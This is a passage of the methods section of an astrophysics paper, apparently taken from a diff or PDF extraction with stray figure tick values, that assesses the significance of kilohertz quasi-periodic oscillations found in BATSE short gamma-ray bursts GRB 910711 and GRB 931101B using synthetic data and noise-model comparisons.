+signal that was identified with the interval between two
+spikes caused by cosmic rays. By limiting the maximum
+number of counts in one 100 µs bin to 8, we remove most
+of the contamination by cosmic rays from both short and
+long bursts (including 16 additional long burst outliers with
+log10 B1
+0 > 10, not shown). After the removal of the cosmic
+ray contamination, the single long GRB outlier (dark gray)
+with Bayes factor ∼ 6000 is GRB 191004B; the signal was
+caused by 1000 Hz calibration pulses on the BAT detectors
+at nearly 300 s after the trigger, when Swift was slewing.
+which complicates our analysis. But in a small
+number of cases the red noise is prominent even
+above 500 Hz (see panels a and b of Extended
+Data Figure 2 for an example). This makes it con-
+siderably more difficult to interpret excesses in the
+power density spectrum because, for example, it
+is not clear that the red noise should be a power
+law with a single slope. A signature of red noise
+in our analysis, particularly of the BATSE data,
+is that the centroid frequency of a one-QPO fit is
+driven to the lowest allowed value, i.e., 1000 Hz.
+We use this signature to identify data segments
+with excess red noise. It is unclear what causes the
+large red noise in some of the BATSE bursts, but
+to avoid contamination we exclude these from our
+sample; see the bottom panel of Extended Data
+Figure 2.
+Finally, a fifth potential cause for overestimat-
+ing the significance of a QPO has been discussed
+recently [55]. The basic effect is that if the total
+counts in a data segment are dominated by a small
+fraction of the segment, then a Fourier analysis
+of the whole segment effectively overresolves the
+
+Springer Nature 2021 LATEX template
+10
+kHz QPOs in sGRBs
+ 0
+ 10
+ 20
+ 30
+ 40
+ 50
+ 0
+ 25
+ 50
+ 75
+ 100
+ 125
+a
+# counts
+time (ms)
+ 0
+ 10
+ 20
+ 30
+ 40
+ 1000
+ 2000
+ 3000
+ 4000
+ 5000
+b
+power
+frequency (Hz)
+best fit (white noise + 1QPO)
+ 0.1
+ 1
+ 10
+ 100
+ 1000
+ 10000
+-2
+ 0
+ 2
+ 4
+ 6
+ 8
+ 10
+c
+GRB
+910711
+GRB
+931101B
+# segments
+log10(B1
+0)
+including red noise excess
+CGRO/BATSE (high energy)
+Extended Data Fig.
+2 | Analysis of BATSE seg-
+ments contaminated by excess red noise. a, Light
+curve of a segment near the middle of the ∼ 1 second
+long burst GRB 980310B. b, Power spectrum of that seg-
+ment, which shows clear red noise above 500 Hz, and the
+best fit according to our algorithm. The resulting Bayes
+factor for one QPO versus none is B1
+0 ≈ 10214. c, The
+differential distribution of log10 B1
+0 (defined in the main
+text) for the entire set of BATSE short GRBs (there are
+4 additional outliers with large amounts of red noise and
+log10 B1
+0 > 9, including the one featured in panels a and b),
+and for the subset obtained after removing data segments
+contaminated with red noise above 500 Hz.
+power spectrum of the small contributing frac-
+tion. As a result, contrary to the assumptions of
+such analyses, the power is correlated between fre-
+quencies and false positive QPOs can appear. See
+Extended Data Figure 3 for a discussion of one
+such case in the BATSE data we analyzed, proba-
+bly caused by chance by the position of the edges
+of the data segment relative to the light curve of
+GRB 930110.
+We combed the data for similar segments
+which included only the several milliseconds at the
+beginning or end of a burst, and removed all such
+segments from our sample. None of those segments
+were as extreme as the first GRB 930110 segment,
+and indeed none of them had B1
+0 > 0.4, but by
+removing them from the sample we decrease the
+probability of a false positive.
+ 0
+ 20
+ 40
+ 60
+ 0
+ 100
+ 200
+ 300
+ 400
+ 500
+a
+counts
+time (ms)
+GRB930110
+ 0
+ 4
+ 8
+ 1000
+ 2000
+ 3000
+ 4000
+ 5000
+b
+power
+frequency (Hz)
+GRB930110
+10-3
+10-2
+10-1
+100
+-4
+ 0
+ 4
+ 8
+ 12
+c
+p = 2 x 10-2
+(GRB930110)
+GRB930110-like
+ synthetic sample
+probability distribution
+log10(B1
+0)
+Extended Data Fig.
+3 | Example of a proba-
+bly false signal of a QPO. a, BATSE data from
+GRB 930110, where the segment showing the apparent sig-
+nal is framed by the two vertical dotted lines. Although
+GRB 930110 has T90 = 220 ms [56], this segment is effec-
+tively an artificially very short GRB with T90 ∼ 10 ms.
+b, Power spectrum for this segment and the best one-
+QPO plus white noise fit, along with the 1σ, 2σ, and 3σ
+power levels in the white noise only fit (cf. Figure 3). c,
+Probability distribution of log10 B1
+0 generated with 1,500
+realizations of light curves (without QPOs) fitted to the
+data segment shown in the top panel. The vertical dotted
+line in the bottom panel shows the value of log10(B1
+0) seen
+in the BATSE data for this segment of GRB 930110, the
+diagonal dashed line shows an exponential fit to the top
+3% of the Bayes factors, and the inset number shows the
+estimated false positive probability from the exponential
+fit. See the “Generating synthetic data” and “Estimates
+of significance of signals” sections below for more details.
+Based on the high probability of a false positive (note also
+that in this case the next half-overlapping data segment
+has B1
+0 = 0.02), we remove this segment from our sample.
+12 other segments that presented similarly cropped light
+curves were also removed from our sample for consistency,
+although all cases had unremarkable Bayes factors.
+Test of goodness of fit for the QPOs.
+As a
+crude test of goodness of fit, we can compute χ2
+for just the frequencies of the QPO, in the range
+of the centroid plus or minus twice the width of
+the QPO, as suggested by H¨ubner et al. [55]. The
+point is that when there are many frequencies in
+the power spectrum and only a small fraction of
+them are near a putative QPO, the overall χ2 can
+appear to be good even if the model is actually
+
+Springer Nature 2021 LATEX template
+kHz QPOs in sGRBs
+11
+poor (or unreasonably good, as can happen if the
+power spectrum is oversampled) for the QPOs,
+because at most frequencies there is no excess
+power and the fit is acceptable. To carry out this
+calculation we again use the Groth distributions
+[32], for which, given an expected (non-Poisson)
+power of Ps in a single frequency bin, the mean
+power after including Poisson noise is ⟨P⟩ = 1+Ps
+and the variance is ⟨P 2 − ⟨P⟩2⟩ = 1 + 2Ps.
+Although the predicted power distribution is not
+Gaussian and thus a χ2 description is not strictly
+valid, this gives a rough indication of the goodness
+of fit.
+Using this description, and including the
+three parameters per QPO when computing the
+number of degrees of freedom, we find that
+for the lower-frequency QPO in GRB 910711,
+χ2/dof = 9.1/11; for the higher-frequency QPO
+in GRB 910711, χ2/dof = 11.6/12; and the QPOs
+in GRB 931101B are too narrow, and thus have
+too small a number of degrees of freedom, for this
+to be a meaningful test. As expected from good
+fits, both χ2 values are close to their respective
+numbers of degrees of freedom.
+Distributions of ∆ ln L2
+0.
+From now on we
+focus only on the BATSE data, where our sig-
+nals were detected. Because of the extra parameter
+volume required for a model with two Lorentzian
+QPOs plus white noise compared with a model
+that has zero or one QPO, it is not computa-
+tionally feasible to calculate B2
+0 for every segment
+of BATSE data (there are approximately 14,200
+half-overlapping data segments in our analysis of
+532 BATSE short bursts). We can, however, get
+a sense for the evidence for two QPOs by looking
+at the distribution of ∆ ln L2
+0 , i.e. the difference
+between the maximum log likelihoods in a two-
+QPO model, and the maximum log likelihood in a
+white noise only model; this will be our figure of
+merit in the Section “Estimates of significance of
+signals” below. (The calculation of the significance
+using the difference between maximum log likeli-
+hoods is less robust than using the Bayes factor,
+as it does not take into account the structure of
+the likelihood surface. However, a test comparing
+∆ ln L1
+0 and B1
+0 shows that they give very similar
+results.) In Extended Data Figure 4 we show the
+probability distribution of ∆ ln L2
+0 inferred for the
+BATSE sample and compare it with a distribution
+obtained from synthetic realizations of Poisson
+noise. The bulk of the BATSE distribution is well
+represented by the Poisson noise distribution.
+10-5
+10-4
+10-3
+10-2
+10-1
+100
+ 0
+ 10
+ 20
+ 30
+ 40
+ 50
+ 60
+GRB
+910711
+GRB
+931101B
+probability distribution
+∆ ln L2
+0
+CGRO/BATSE (high energy)
+Poisson noise
+Extended Data Fig.
+4 | Probability distribution
+of signal strengths Here we show the distribution of
+∆ ln L2
+0 for the BATSE sample of short GRBs analyzed
+in our work, compared with the probability distribution
+obtained for 15,000 synthetic spectra generated containing
+independent realizations of Poisson noise. The two outliers
+are our signals, with ∆ ln L2
+0 = 56.4 (GRB 910711) and 33.3
+(GRB 931101B). A third outlier with lower significance can
+also be seen at ∆ ln L2
+0 = 21.3. The bulk of the BATSE
+distribution (excluding the outliers) is well represented by
+the Poisson noise distribution.
+Generating synthetic data.
+When a data
+stream is not stationary, as it is not in our case
+because the bursts present rapidly-changing flux,
+then power density spectra constructed using fast
+Fourier transforms can lead to overestimates of the
+significance of QPOs [55]. To assess the impact
+of this concern in our case, we generate syn-
+thetic data with the procedure described below,
+following H¨ubner et al. [55]:
+1. We model (without QPOs) the light curve of
+each data segment in which we find candi-
+date signals. The signal model we use for the
+count rate as a function of time is related to a
+hyperbolic tangent and has six parameters as a
+function of the time t:
+F = Fback + Fm{1 + tanh[(t − tm)/tr]}
+(5)
+times 1 if t < tp or times exp[−(t − tp)/td] if
+t ≥ tp. Thus Fback is the background count
+rate, Fm is related to the flux of the burst,
+tm is a characteristic time for the onset of the
+burst, tr is the rise time, tp is the time when the
+exponential decay starts, and td is the decay
+
+Springer Nature 2021 LATEX template
+12
+kHz QPOs in sGRBs
+time. Other fits are possible. For example, we
+could use a fit in which the light curve is rep-
+resented by one exponential rising to a peak,
+and then another exponential falling from that
+peak [55]. However, we find that our fit is pre-
+ferred strongly: for example, for GRB 910711,
+the maximum likelihood of our fit is ∼ 8 × 105
+times larger than the maximum likelihood of
+the double-exponential fit.
+In Extended Data Table 1 we give the best-
+fit values of these six parameters for each of
+the two segments in which we find signals. Note
+that for GRB 931101B, tp < tm, which sim-
+ply indicates that this burst has a somewhat
+gradual rise and decline.
+2. We perform a Poisson draw at each time bin of
+2 microseconds to obtain a light curve. These
+light curves, by design, have no QPOs and thus
+analysis of them gives a sense for the probabil-
+ity of a false positive identification of a QPO
+or QPOs given the non-stationary count rate.
+In panels a and b of Extended Data Figure 5
+we show the data, the smoothed fit, and a rep-
+resentative Poisson draw for each of our two
+bursts.
+3. We then compute the power spectrum and are
+ready to perform our analysis to search for
+QPOs in the synthetic data. In panels c and
+d of Extended Data Figure 5 we show the
+power spectra obtained for the representative
+examples presented in the left panel.
+Estimates of significance of signals.
+We per-
+form the steps outlined in the previous Section
+repeatedly for each of our two bursts to search the
+synthetic data for signals as strong as or stronger
+than those we found in the BATSE data. This
+gives us two distributions of ∆ ln L2
+0, representa-
+tive of GRB 910711-like and GRB 931101B-like
+light curves. For each burst, we therefore conclude:
+1. For GRB 910711-like synthetic data, we per-
+form ≈ 14, 000 simulations and find none with
+∆ ln L2
+0 as large as in the actual GRB 910711
+data, which suggests that the false positive
+probability for this signal is <∼ 10−4.
+2. For GRB 931101B-like synthetic data, we per-
+form 4,000 simulations and find 7 with ∆ ln L2
+0
+at least as large as in the actual GRB 931101B.
+Thus we can roughly assign a probability of
+∼ 1 − 2 × 10−3 for the GRB 931101B signal.
+We show the distributions of the synthetic
+∆ ln L2
+0 for GRB 910711-like and GRB 931101B-
+like data in panels e and f of Extended Data
+Figure 5. Note that these distributions extend to
+far larger ∆ ln L than the bulk of our distribution
+of BATSE data (see Extended Data Figure 4); in
+this sense, GRB 910711 and GRB 931101B are not
+typical bursts.
+Given that none of our ≈ 14, 000 GRB 910711-
+like synthetic data sets reached a ∆ ln L2
+0 as high
+or higher than what we see in the BATSE data, to
+obtain a more precise estimate of the significance
+of this signal we need to extrapolate. We see from
+Extended Data Figure 5 that at the high-∆ ln L2
+0
+end, the distribution appears linear on a log-linear
+plot, and is therefore well fit with an exponential.
+Performing such a fit using the top 3% of ∆ ln L2
+0
+values for the GRB 910711-like synthetic data sets
+yields a probability, in a single realization, of
+Prob(∆ ln L2
+0 ≥ x) = 0.03 e− (27.9−x)
+4.57
+.
+(6)
+For ∆ ln L2
+0 > 56.4 (the value for GRB 910711),
+this implies Prob(∆ ln L2
+0 > 56.4) ≈ 6 × 10−5.
+That is, the probability of a false positive, in a
+single realization, for the QPOs in GRB 910711 is
+approximately 6 × 10−5.
+We now need to estimate the probability of
+∆ ln L2
+0 > 56.4 taking into account the number of
+trials, that is, considering all of the bursts that we
+analyze (as the same method is used in both cases,
+the search for QPOs in each synthetic light curve
+has the same number of trials as the search for
+QPOs in each BATSE light curve). We find that,
+for each burst, the probability of a given large
+∆ ln L2
+0 depends strongly on the duration T90 of
+the burst (although obviously the specific shape of
+the burst light curve and the number of counts in
+the burst also play roles). This is plausible given
+the argument that the probability of a false pos-
+itive in a segment is greater when the duration
+of the burst is a smaller fraction of the duration
+of the segment [55]. Quantitatively, we performed
+2,000 simulations each on the light curves of five
+other T90 < 100 ms BATSE bursts with good data
+[33]: these were GRBs 910508, 910625, 910703,
+930113C, and 940621C. As with GRB 910711, we
+performed exponential fits to the top 3% of ∆ ln L2
+0
+values. In Extended Data Table 2 we show the
+extrapolated probability of ∆ ln L2
+0 > 56.4 for each
+of these bursts, along with their T90.
+
+Springer Nature 2021 LATEX template
+kHz QPOs in sGRBs
+13
+Extended Data Table
+1 | Model parameters used in synthetic data
+GRB
+Fback
+Fm
+tm
+tr
+tp
+td
+910711
+8.764
+44.209
+98.323
+0.472
+103.11
+2.472
+931101B
+2.330
+255.65
+46.950
+8.609
+33.048
+2.958
+Note: parameters for our synthetic data runs modeling QPO-free light curves based on models of the light curves from our two
+BATSE data segments where we find QPOs. See text and especially Equation 5 for details. Here the count rates Fback and Fm are
+in counts per millisecond, and the times are all in milliseconds; the zeros of time for tm and tp are shown in Figure 2.
+ 0
+ 10
+ 20
+ 30
+ 
+ 
+ 
+ 
+a
+GRB910711
+counts
+data
+synth
+fit
+ 0
+ 2
+ 4
+ 6
+ 8
+ 150
+ 160
+ 170
+ 180
+b
+GRB931101B
+counts
+time (ms)
+ 0
+ 4
+ 8
+ 
+ 
+ 
+ 
+ 
+c
+power
+3σ-noise
+2σ-noise
+1σ-noise
+ 0
+ 4
+ 8
+ 1000
+ 2000
+ 3000
+ 4000
+ 5000
+d
+power
+frequency (Hz)
+10-5
+10-4
+10-3
+10-2
+10-1
+100
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+p = 6 x 10-5
+(GRB910711)
+e
+GRB910711-like
+ synthetic sample
+probability distribution
+exponential extrapolation
+10-5
+10-4
+10-3
+10-2
+10-1
+100
+ 0
+ 10
+ 20
+ 30
+ 40
+ 50
+ 60
+p = 1 x 10-3
+(GRB931101B)
+f
+GRB931101B-like
+ synthetic sample
+probability distribution
+∆ ln L2
+0
+Extended Data Fig.
+5 | Real versus synthetic data a, Zoom-in on the QPO data segment for GRB 910711,
+a corresponding smoothed fits given by eq. (5) and a representative example of the synthetic light curve obtained via
+Poisson sampling from the smoothed fits (the starting time of the GRB 910711 light curve is shifted here for convenience
+of presentation). c, Power spectrum of the synthetic light curve shown in a. As in Figure 3, the red bands show the 1σ,
+2σ, and 3σ powers expected given the best white noise only fits to the data from each burst. e, Probability distribution
+of ∆ ln L2
+0 from synthetic data generated from light curve fits to GRB 910711. The vertical dotted line shows the ∆ ln L2
+0
+observed in BATSE data, and the diagonal dashed line shows the exponential fit to the top 3% of the synthetic data points
+(see “Estimates of significance of signals” for details). The inset number gives the estimated false positive probability for
+signals as strong as or stronger than that observed. b, d, f, Similarly, for GRB 931101B.
+We see in Extended Data Table 2 that there is
+a steep decline in the probability of a high ∆ ln L2
+0
+with increasing T90. Based on this analysis, it
+seems likely that the expected number of false pos-
+itives with ∆ ln L2
+0 > 56.4 in the entire sample of
+bursts is dominated by the expected number of
+false positives for the single burst GRB 910711
+(as the probabilities in Extended Data Table 2 are
+small [given by exponential extrapolations of the
+form (6)], they can be used interchangeably with
+the number of false positives in each case). That
+is, the expected number of false positives in the
+entire catalog, Nfalse,catalog(∆ ln L2
+0 > 56.4), is
+�
+i
+Nfalse,i
+�
+∆ ln L2
+0 > 56.4
+�
+∼ 6 × 10−5 ,
+where i runs over all bursts. We therefore con-
+clude that the significance of the QPO signal in
+GRB 910711, when all trials over all bursts are
+taken into account, is ∼ 6 × 10−5.
+We can then ask the question: what is the
+probability that in our sample we would see a
+burst with ∆ ln L2
+0 > 56.4 (like GRB 910711)
+and a second burst with ∆ ln L2
+0 > 33.3 (like
+GRB 931101B)? In Extended Data Table 2 we
+therefore also show the extrapolated probabil-
+ity of ∆ ln L2
+0
+> 33.3. The expected number
+
+Springer Nature 2021 LATEX template
+14
+kHz QPOs in sGRBs
+Extended Data Table
+2 | Extrapolated probabilities of ∆ ln L2
+0 for different short bursts
+GRB
+Trigger #
+T90 (ms)
+Counts Prob(∆ ln L2
+0 > 56.4)
+Prob(∆ ln L2
+0 > 33.3)
+910711
+512
+14
+1790
+5.9 × 10−5
+9.2 × 10−3
+910508
+207
+30
+1254
+2.2 × 10−6
+1.6 × 10−3
+931101B
+2615
+34
+524
+2.6 × 10−6
+1.3 × 10−3
+910625
+432
+50
+1810
+7.2 × 10−7
+9.3 × 10−4
+910703
+480
+62
+2278
+1.8 × 10−7
+7.5 × 10−4
+940621C
+3037
+66
+710
+2.0 × 10−10
+7.9 × 10−6
+930113C
+2132
+90
+612
+4.1 × 10−11
+2.9 × 10−6
+Note: probabilities, extrapolated using an exponential fit, that synthetic data generated using the light curves of each of the
+bursts with durations T90 < 100 ms (third column) and good data would produce ∆ ln L2
+0 > 56.4 (fifth column), which is the value
+obtained using the BATSE data for GRB 910711, and ∆ ln L2
+0 > 33.3 (sixth column), which is the value obtained using the BATSE
+data for GRB 931101B. The fourth column gives the total number of counts in the 0.131072-second segment that we analyzed,
+rather than the counts summed over the T90 of the burst. We see that both probabilities decrease steeply with increasing duration.
+The bursts where we find QPOs are highlighted in boldface.
+of false signals in the whole catalog is then
+Nfalse,catalog(∆ ln L2
+0 > 56.4 and ∆ ln L2
+0 > 33.3),
+given by
+�
+i
+�
+Nfalse,i
+�
+∆ ln L2
+0 > 56.4
+�
+×
+�
+��
+i̸=j
+Nfalse,i
+�
+∆ ln L2
+0 > 33.3
+�
+�
+�
+�
+∼ 3 × 10−7 ,
+where i again runs over all bursts and j runs
+over all bursts other than i. We thus conclude
+that the combined significance of the QPO signals
+detected in both GRB 910711 and GRB 931101B
+is ∼ 3 × 10−7, taking into account all trials over
+all bursts. The addition of the Swift/BAT and
+Fermi/GBM bursts we analyzed does not impact
+this result. There were 14 Fermi/GBM bursts
+with T90 < 100 ms, but the GBM data included
+only the duration of each burst in each case (not
+including portions of pre- and post-burst low-
+count background data), therefore mitigating this
+possible cause of false QPOs [55]. There were
+no Swift/BAT bursts in our sample with T90 <
+100 ms.
+Short GRBs vs. SGR giant flares.
+As noted
+in the main text, tentative evidence for a kilo-
+hertz QPO in a giant flare from the Galactic
+SGR 1806−20 has been reported [34] as well
+as kilohertz QPOs from an SGR giant flare in
+NGC 253 [35]. Moreover, it has been proposed that
+many of the shortest gamma-ray bursts are giant
+flares from SGRs rather than neutron star merg-
+ers [57]. It is therefore useful to explore how to
+distinguish the giant flare from the neutron star
+merger scenario.
+The most definitive distinction would come
+from an identification of the host galaxy, because
+SGR giant flares do not reach the isotropic equiv-
+alent energy or luminosity of double neutron star
+mergers. However, BATSE localizations are only
+to several square degrees and thus clear host
+identification is impossible.
+Nonetheless, energetics do distinguish between
+our bursts and the giant flare sample [57].
+Extended Data Table 3 gives the implied min-
+imum equivalent isotropic energy and isotropic
+peak luminosity for each of our bursts, based on
+the minimum distance of a galaxy consistent with
+the burst localizations. We see that even if we take
+the minimum galaxy distance irrespective of star
+formation rate, the required Liso are extreme; for
+comparison, the maximum Liso in the candidate
+giant flare list [57] was 1.8 × 1048 erg s−1.
+If we restrict consideration to only galaxies
+with at least moderately active star formation,
+given that magnetar giant flare activity is thought
+to come from neutron stars with very young ages
+<∼ 104 years, then both Eiso (compare with the
+maximum of 5.3 × 1046 erg in the giant flare
+sample [57]) and Liso stand out compared with
+the suggested giant flare sample. This provides
+an argument that our bursts are classical short
+
+Springer Nature 2021 LATEX template
+kHz QPOs in sGRBs
+15
+gamma-ray bursts, and thus are likely to be pro-
+duced by neutron star mergers, rather than being
+giant flares from SGRs.
+Comparison
+with
+numerical
+relativity
+results.
+The frequencies of the main QPO peak
+in simulations of binary neutron star mergers
+range from 1.8 − 3.8 kHz [9], depending on the
+neutron star equation of state and on the indi-
+vidual masses of the neutron stars in the binary.
+The values obtained for these frequencies are
+remarkably consistent across different groups,
+as evidenced by tests which achieved differences
+smaller than the scatter of the proposed phe-
+nomenological relations [13]. These frequency
+values are also consistent with the QPOs we
+present in this work. The quality factors of the
+ν2 QPOs we find are Q ∼ 50 − 100, which are a
+few times times higher than the quality factors
+Q ∼ 10 − 20 estimated from the simulations
+[5, 9, 13, 62]; in contrast to the frequencies, which
+are very similar among different simulations,
+there is less agreement between simulations about
+the quality factor. This is because the lifetime of
+an HMNS in a simulation is sensitive to numer-
+ical details of the evolution codes. Additionally,
+it is expected that the quality factors obtained
+from numerical relativity are lower limits, due to
+numerical dissipation [63].
+Additional
+analysis
+with
+adjustable
+red
+noise.
+We have also performed analyses of our
+two signals using red noise instead of white
+noise. For these analyses, the noise contributes
+Ared(f/500 Hz)p to the power, where the prior for
+Ared is flat between 0 and 5 and the prior for p
+is flat between −3 and +1 (thus allowing for blue
+noise).
+From Extended Data Table 4 we see that the
+log likelihoods of the noise only, noise + 1 QPO
+and noise + 2 QPO fits are not increased signifi-
+cantly when, in each case, white noise is replace by
+red noise. Therefore, the fits are not improved sig-
+nificantly by the use of red noise instead of white
+noise.
+Moreover, Extended Data Table 4 shows that
+∆ ln L2
+0 for GRB 910711 is only slightly enhanced
+if we use the red noise models (∆ ln L2
+0 = 57.2 −
+0.1 = 57.1) compared with the white noise mod-
+els (∆ ln L2
+0 = 56.4); for GRB 931101B, ∆ ln L2
+0
+is slightly reduced if we use the red noise mod-
+els (∆ ln L2
+0 = 33.6 − 2.3 = 31.3) compared with
+the white noise models (∆ ln L2
+0 = 33.3). From
+this we conclude that the choice of noise model
+(red or white) does not affect how much the noise
++ 2 QPOs model is preferred over the noise-only
+model. Finally, Extended Data Table 4 shows that
+the best-fit frequencies and frequency widths are
+virtually identical between the white noise and the
+red noise fits.
+Use of Poisson only instead of white noise as
+background.
+Our fiducial models include white
+noise as well as, possibly, Lorentzian QPOs. As
+indicated above, the motivation for considering
+white noise is that spikes in the Swift/BAT data
+introduce large amounts of extra white noise into
+the power spectra, so this needs to be taken into
+account. However, the BATSE data sets we ana-
+lyze, after removal of segments with large amounts
+of f > 500 Hz red noise, do not have spikes. This
+suggests that, instead, it could be interesting to
+consider models in which the noise is purely Pois-
+son, e.g., for a noise-only model the picture would
+be that the intrinsic count rate is steady and thus
+the only contributor to the power spectrum is
+photon counting noise, i.e., Poisson noise.
+Although
+we
+have
+not
+reanalyzed
+all
+of
+the data sets with Poisson+QPO(s) models, a
+Poisson-only model is fast to evaluate. When
+we do this, we find that our strongest signal
+GRB 910711 stands out even more from the syn-
+thetic light curves. Exponential extrapolations of
+the type describe above suggest that the expected
+number of false positives per GRB 910711-like
+light curve is ∼ few × 10−7, i.e., that the signal
+is at least 100× more significant than what we
+inferred from our white noise models. (The signal
+would be even more significant if we were to make
+the [small] correction for detector deadtime, which
+lowers the Poisson power, as seen for example in
+the discovery of kHz QPOs in Scorpius X-1 [64].)
+As an aside, we also note that when we analyze
+the BATSE GRB 910711 data using models with
+Poisson noise plus some number of QPOs, this
+analysis identifies a third, weaker but still signifi-
+cant, QPO centered at ∼ 2070 Hz with a width of
+∼ 90 Hz, and a fourth, even weaker and not obvi-
+ously significant, QPO centered at ∼ 3700 Hz with
+a width of ∼ 40 Hz. However, because we have not
+performed systematic studies using a Poisson noise
+background, we cannot assess these implications
+thoroughly.
+
+Springer Nature 2021 LATEX template
+16
+kHz QPOs in sGRBs
+Extended Data Table
+3 | Fluences, fluxes, and distances of bursts with QPOs
+GRB
+910711
+931101B
+> 20 keV fluence (erg cm−2)
+4.3 × 10−7 1.8 × 10−7
+Estimated maximum flux (erg cm−2 s−1)
+1.5 × 10−4 2.6 × 10−5
+Minimum distance of galaxy (Mpc)
+15.6
+24.2
+Minimum Eiso (erg)
+1.2 × 1046
+1.2 × 1046
+Minimum peak Liso (erg s−1)
+5 × 1048
+2 × 1048
+Minimum distance of star forming galaxy (Mpc)
+66.3
+46.4
+Minimum Eiso for star forming galaxy (erg)
+2.3 × 1047
+4.8 × 1046
+Minimum peak Liso for star forming galaxy (erg s−1)
+9 × 1049
+7 × 1048
+Note: here Eiso and Liso are respectively the equivalent isotropic energy release and isotropic peak luminosity that would give
+the observed fluence and peak flux at the listed distances. We use the GLADE+ sample [58, 59], along with GRB localizations[60]
+(which is also our source for the > 20 keV fluence), to determine the closest galaxy, and the closest galaxy consistent with the
+direction to the GRB that has an absolute B magnitude equal to or brighter than the MB = −20.8 for the Galaxy [61]. The
+B magnitude threshold is based on the suggestion that giant flares from SGRs should be correlated with ongoing star formation
+because giant flares are thought to occur no more than ∼ 104 years after the birth of a neutron star[57].
+Extended Data Table
+4 | Comparison between white noise and red noise fits
+GRB
+Fit
+Slope
+ν1 (Hz) ∆ν1 (Hz) ν2 (Hz) ∆ν2 (Hz) ln Lbest − ln Lwhite
+910711
+White
+0.0
+Red
+−0.15+0.19
+−0.2
+0.1
+White + 1QPO
+2649+6
+−7
+26+9
+−7
+29.7
+Red + 1QPO
+−0.28+0.23
+−0.23
+2649+7
+−7
+24+9
+−7
+30.0
+White + 2QPOs
+1113+7
+−8
+25+9
+−7
+2649+6
+−7
+26+9
+−7
+56.4
+Red + 2QPOs +0.15+0.36
+−0.41 1112+8
+−9
+27+9
+−7
+2648+7
+−8
+28+10
+−8
+57.2
+931101B
+White
+0.0
+Red
+−2.00+0.65
+−0.61
+2.3
+White + 1QPO
+2612+9
+−8
+14+7
+−3
+20.5
+Red + 1QPO
+−2.27+0.56
+−0.44
+2611+5
+−7
+14+5
+−3
+22.5
+White + 2QPOs
+877+6
+−8
+15+7
+−2
+2612+9
+−8
+14+7
+−3
+33.3
+Red + 2QPOs −2.19+0.74
+−0.44 879+10
+−10
+16+12
+−4
+2611+9
+−7
+15+6
+−4
+33.6
+Note: fits to the power densities of our two signals using our fiducial white noise background, and using instead a red noise
+background (see text for details). In each case we show the median and the ±1σ values of the parameters, and the final column
+gives the log likelihood of the best fit minus the log likelihood of the white noise only fit. The “Slope” column gives the slope of
+the noise fit when the noise is not required to be white; negative is red noise and positive is blue noise, and note that when red
+noise is preferred it only affects the lowest frequencies in our 500 Hz to 5000 Hz interval. Using red instead of white noise does not
+change significantly the parameter values or the delta log likelihoods.
+Detailed
+analysis
+of
+candidate
+signals.
+Extended Data Table 5 shows the best-fit param-
+eters for our two-QPO models for each of our two
+bursts. Extended Data Figure 6 places our bursts
+on a hardness ratio-duration plot for all BATSE
+bursts.
+In Extended Data Figure 7, we show the light
+curves, power spectra, and spectrograms for each
+energy channel of each burst and for the sum of
+counts over all four BATSE TTE energy channels.
+As both GRBs are bright and hard, a small cor-
+rection due to detector deadtime can be estimated
+[65], resulting in an effective deadtime of approxi-
+mately 1µs per photon that is much smaller than
+the period of our strongest QPO, 1/(2.6 kHz) ≃
+400 µs. Given that a particular burst is detected
+by ∼ 4 of the eight BATSE detectors, this dead-
+time implies that we are missing approximately
+
+Springer Nature 2021 LATEX template
+kHz QPOs in sGRBs
+17
+Extended Data Table
+5 | Best two-QPO fit to data from each burst
+GRB
+Trigger # Awhite
+A1
+arms
+osc1 ν1(Hz) ∆ν1 (Hz) A2
+arms
+osc2 ν2 (Hz) ∆ν2 (Hz)
+910711
+512
+0.18
+6.20 0.27
+1113
+26
+7.10 0.28
+2650
+28
+931101B
+2615
+0.003 5.57 0.32
+878
+13
+7.55 0.34
+2613
+12
+Note: the parameter values for the best two-QPO fit to the power spectral data for each burst, which are also labeled by their
+BATSE trigger number. Here we also add the best estimate of the fractional root mean squared amplitudes of each QPO. The best
+values of the parameters need not be the same as the median values from Table 1, but the best values are all within the ±1σ ranges.
+For GRB 931101B the best-fit white-noise amplitude is very low, which indicates that the model has captured the signal power. In
+contrast, the best-fit white-noise amplitude for GRB 910711 is larger, which could suggest that there are additional QPOs or other
+features, but the evidence is not strong. If, for example, we add a third QPO to our fit then the best frequency is ∼ 2100 Hz and
+the best frequency width is ∼ 100 Hz, but the evidence is only ∼ 50% larger than the two-QPO evidence.
+ 0.01
+ 0.1
+ 1
+ 10
+ 100
+ 0.01
+ 0.1
+ 1
+ 10
+ 100
+S(100-300)/S(50-100)
+T90 (s)
+BATSE catalog
+GRB931101B
+GRB910711
+Extended Data Fig. 6 | Hardness-duration plot of
+BATSE gamma-ray bursts Here we show the hardness
+ratio (fluence in the 100−300 keV band divided by fluence
+in the 50 − 100 keV band) vs. T90 for the BATSE catalog
+(including both short and long GRBs), highlighting our
+signals. Error bars represent ±1σ uncertainties. The T90
+of some of the shortest bursts was re-calculated using the
+TTE data [33]. GRB 910711 and GRB 931101B are very
+short compared with most short GRBs, but the hardness
+ratios of our bursts do not stand out in the short GRB
+population.
+2% of the counts in GRB 910711 and 0.5% of
+the counts in GRB 931101B on average during
+their whole duration (the percentage loss should
+be at most double these values at the peak of each
+burst).
+Although on balance the signals are strongest
+in the highest-energy channels 3 and 4, channel 2
+in GRB 931101B shows a substantial signal near
+the lower-frequency QPO. Moreover, examination
+of panels c and f of Figure 7 shows that the sig-
+nals can appear over short times even before the
+main burst, and that the signals tend to be in the
+early phases of the bursts. These properties may
+provide clues to the mechanism that makes the
+QPOs appear in gamma rays.
+Data availability.
+BATSE archival TTE data
+are available at [51].
+Code
+availability.
+Details about our codes
+have been published [31], but the code itself is not
+intended to be used publicly.
+References
+[43] Vaughan, S. A Bayesian test for periodic sig-
+nals in red noise. Mon. Not. R. Astron. Soc.
+402 (1), 307–320 (2010).
+[44] Huppenkothen, D. et al.
+Quasi-periodic
+Oscillations and Broadband Variability in
+Short
+Magnetar
+Bursts.
+Astrophys.
+J.
+768 (1), 87 (2013).
+[45] Huppenkothen, D. et al.
+Quasi-periodic
+Oscillations in Short Recurring Bursts of the
+Soft Gamma Repeater J1550-5418.
+Astro-
+phys. J. 787 (2), 128 (2014).
+[46] Huppenkothen, D., Heil, L. M., Watts, A. L.
+& G¨o˘g¨u¸s, E. Quasi-periodic Oscillations in
+Short Recurring Bursts of Magnetars SGR
+1806-20 and SGR 1900+14 Observed with
+RXTE. Astrophys. J. 795 (2), 114 (2014).
